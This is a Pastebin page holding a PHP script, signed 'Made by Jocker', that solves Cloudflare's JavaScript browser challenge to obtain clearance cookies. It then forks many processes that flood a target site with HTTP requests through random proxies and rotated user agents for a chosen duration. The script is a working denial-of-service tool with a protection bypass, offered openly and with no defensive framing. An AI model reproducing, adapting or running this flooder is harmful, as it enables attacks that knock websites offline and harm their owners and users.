Advertisement
Joker0day

Untitled

Dec 20th, 2017
262
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.01 KB | None | 0 0
  1. <?php
  2. if($argc != 5) {
  3.         echo "Usage: php $argv[0] http://site.com/ (proxy list set to dog if none)(threads)(time)\n";
  4.         die();
  5. }
  6. function get_between($string,$start,$end)
  7. {
  8.     $string = " ".$string;
  9.     $ini = strpos($string, $start);
  10.     if($ini==0) return "";
  11.     $ini += strlen($start);
  12.     $len = strpos($string, $end, $ini) - $ini;
  13.  
  14.     return substr($string, $ini, $len);
  15. }
  16. function rand_line($fileName, $maxLineLength = 4096) {
  17.     $handle = @fopen($fileName, "r");
  18.     if ($handle) {
  19.         $random_line = null;
  20.         $line = null;
  21.         $count = 0;
  22.         while (($line = fgets($handle, $maxLineLength)) !== false) {
  23.             $count++;
  24.             if(rand() % $count == 0) {
  25.               $random_line = $line;
  26.             }
  27.         }
  28.         if (!feof($handle)) {
  29.             echo "Error: unexpected fgets() fail\n";
  30.             fclose($handle);
  31.             return null;
  32.         } else {
  33.             fclose($handle);
  34.         }
  35.         return $random_line;
  36.     }
  37. }
  38. function bypassyourdog($domain, $useragent, $proxy) {  
  39.     $cURL = curl_init();
  40.     curl_setopt($cURL, CURLOPT_URL, $domain);
  41.     curl_setopt($cURL, CURLOPT_RETURNTRANSFER, 1);
  42.     curl_setopt($cURL, CURLOPT_HEADER, 1);
  43.     curl_setopt($cURL, CURLOPT_USERAGENT, $useragent);
  44.     curl_setopt($cURL, CURLOPT_FOLLOWLOCATION, true);
  45.     curl_setopt($cURL, CURLOPT_PROXY, $proxy);
  46.     curl_setopt($cURL, CURLOPT_COOKIEFILE, "cookie.txt");
  47.     $string = curl_exec($cURL);
  48.     curl_close($cURL);
  49.     $domain = get_between($string, '</span> ', '.</h1>');
  50.     $jschl_vc = get_between($string, '"jschl_vc" value="', '"/>');
  51.     $pass = get_between($string, '"pass" value="', '"/>');
  52.     $settimeout = get_between($string, 'setTimeout(function(){', 'f.submit()');
  53.     $mathvariables = get_between($settimeout, 'var t,r,a,f, ', ';');
  54.     $mathvariable = explode('=', $mathvariables);
  55.     $mathvariable1 = get_between($mathvariables, '{"', '":');
  56.     $mathvariable2 = $mathvariable[0].".".$mathvariable1;
  57.     $math1 = get_between($mathvariables, '":', '}');
  58.     $math2 = $mathvariable[0].get_between($settimeout, ";".$mathvariable[0], ';a.value');
  59.     $fuck = 0;
  60.     $math2s = explode(';', $math2);
  61.     $mathtotal = 0;
  62.     $answers = array();
  63.     $totalformath1 = 0;
  64.     if(get_between($math1, '((', '))') != NULL) {
  65.         $dog311 = get_between($math1, '((', '))');
  66.         $math1ss = explode(')', $dog311);
  67.         $math1sss = explode('+', $math1ss[0]);
  68.         $math1ssss = explode('(', $dog311);
  69.         $math1sssss = explode('+', $math1ssss[1]);
  70.         $ifuckdog = 0;
  71.         $ufuckdog = 0;
  72.         foreach($math1sss as $imoutofvars2) {
  73.             if ($imoutofvars2 == "!" || $imoutofvars2 == "!![]" || $imoutofvars2 == "![]") {
  74.                 $ifuckdog++;
  75.             }
  76.         }
  77.         foreach($math1sssss as $imoutofvars3) {
  78.             if ($imoutofvars3 == "!" || $imoutofvars3 == "!![]" || $imoutofvars3 == "![]") {
  79.                 $ufuckdog++;
  80.             }
  81.         }
  82.         $totalformath1 = $ifuckdog.$ufuckdog;
  83.         array_push($answers, $totalformath1." +");
  84.     } else {
  85.         $math1ss = explode('+', $math1);
  86.         foreach($math1ss as $fuckmydog){
  87.             if ($fuckmydog == "!" || $fuckmydog == "!![]" || $fuckmydog == "![]") {
  88.                 $totalformath1++;
  89.             }
  90.         }
  91.         array_push($answers, $totalformath1." +");
  92.     }
  93.     foreach($math2s as $dog123){
  94.         $typeofmath = substr($dog123, strlen($mathvariable2), 1);
  95.         if(get_between($dog123, '((', '))') != NULL) {
  96.             $dog321 = get_between($dog123, '((', '))');
  97.             $poop = 0;
  98.             $shit = 0;
  99.             $mathss = explode(')', $dog321);
  100.             $mathsss = explode('+', $mathss[0]);
  101.             $mathssss = explode('(', $dog321);
  102.             $mathsssss = explode('+', $mathssss[1]);
  103.             foreach($mathsss as $imoutofvars) {
  104.                 if ($imoutofvars == "!" || $imoutofvars == "!![]" || $imoutofvars == "![]") {
  105.                     $poop++;
  106.                 }
  107.             }
  108.             foreach($mathsssss as $imoutofvars1) {
  109.                 if ($imoutofvars1 == "!" || $imoutofvars1 == "!![]" || $imoutofvars1 == "![]") {
  110.                     $shit++;
  111.                 }
  112.             }
  113.             $fuck = $poop.$shit;
  114.             array_push($answers, $fuck." ".$typeofmath);
  115.             $fuck = 0;
  116.         } else {
  117.             $fuckingdogs = explode('=', $dog123);
  118.             $fuckingcats = explode('+', $fuckingdogs[1]);
  119.             foreach($fuckingcats as $idinglecats) {
  120.                 if ($idinglecats == "!" || $idinglecats == "!![]" || $idinglecats == "![]") {
  121.                     $fuck++;
  122.                 }
  123.             }
  124.             array_push($answers, $fuck." ".$typeofmath);
  125.             $fuck = 0;
  126.         }
  127.     }
  128.     foreach($answers as $answer) {
  129.         $ilikedogs = explode(' ', $answer);
  130.         switch($ilikedogs[1]) {
  131.             case "+":
  132.                 $mathtotal = $mathtotal + $ilikedogs[0];
  133.             break;
  134.             case "-":
  135.                 $mathtotal = $mathtotal - $ilikedogs[0];
  136.             break;
  137.             case "*":
  138.                 $mathtotal = $mathtotal * $ilikedogs[0];
  139.             break;
  140.         }
  141.     }
  142.     $jschl_answer = strlen($domain) + $mathtotal;
  143.     $domain1 = $domain."/cdn-cgi/l/chk_jschl?jschl_vc=$jschl_vc&pass=$pass&jschl_answer=$jschl_answer";
  144.     usleep(3000000);
  145.     $cURL1 = curl_init();
  146.     curl_setopt($cURL1, CURLOPT_URL, $domain1);
  147.     curl_setopt($cURL1, CURLOPT_RETURNTRANSFER, 1);
  148.     curl_setopt($cURL1, CURLOPT_HEADER, 1);
  149.     curl_setopt($cURL1, CURLOPT_USERAGENT, $useragent);
  150.     curl_setopt($cURL1, CURLOPT_FOLLOWLOCATION, true);
  151.     curl_setopt($cURL1, CURLOPT_PROXY, $proxy);
  152.     curl_setopt($cURL1, CURLOPT_COOKIEFILE, "cookie.txt");
  153.     $test = curl_exec($cURL1);
  154.     $cfuid = get_between($test, '__cfduid=', '; expires');
  155.     $cf_clearance = get_between($test, 'cf_clearance=', '; expires');
  156.     return '__cfduid='.$cfuid.'; cf_clearance='.$cf_clearance;
  157. }
  158. $useragents = array(
  159.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  160.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  161.     "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  162.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5","Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  163.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  164.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  165.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  166.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  167.     "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  168.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  169.     "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  170.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  171.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11","Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  172. );
  173. $end = time() + $argv[4];
  174. $threads = $argv[3];
  175. echo "Made by Jocker\n";
  176. echo "Starting cf bypass on $argv[1] for $argv[4] seconds with $argv[3] threads\n";
  177. for($i = 0; $i < $threads; $i ++){
  178.     $pid = pcntl_fork();
  179.     if($pid == -1) {
  180.         echo "Forking failed on $i loop of forking.\n";
  181.         exit();
  182.     } elseif($pid) {
  183.         continue;
  184.     } else {
  185.         if(!(strpos($argv[2], "dog"))) {
  186.                 $proxy = rand_line($argv[2]);
  187.         } else {
  188.             $proxy = NULL;
  189.         }
  190.         $ua = $useragents[array_rand($useragents)];
  191.         $bypasscookie = bypassyourdog($argv[1], $ua, $proxy);
  192.         while($end > time()) {
  193.             $flood = curl_init();
  194.             curl_setopt($flood, CURLOPT_URL, $argv[1]);
  195.             curl_setopt($flood, CURLOPT_RETURNTRANSFER, 1);
  196.             curl_setopt($flood, CURLOPT_USERAGENT, $ua);
  197.             curl_setopt($flood, CURLOPT_FOLLOWLOCATION, true);
  198.             curl_setopt($flood, CURLOPT_PROXY, $proxy);
  199.             curl_setopt($flood, CURLOPT_COOKIE, $bypasscookie);
  200.             $var123 = curl_exec($flood);
  201.             curl_close($flood);
  202.         }
  203.         die();
  204.     }
  205. }
  206. for($j = 0; $j < $threads; $j++) {
  207.     $pid = pcntl_wait($status);
  208. }
  209. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement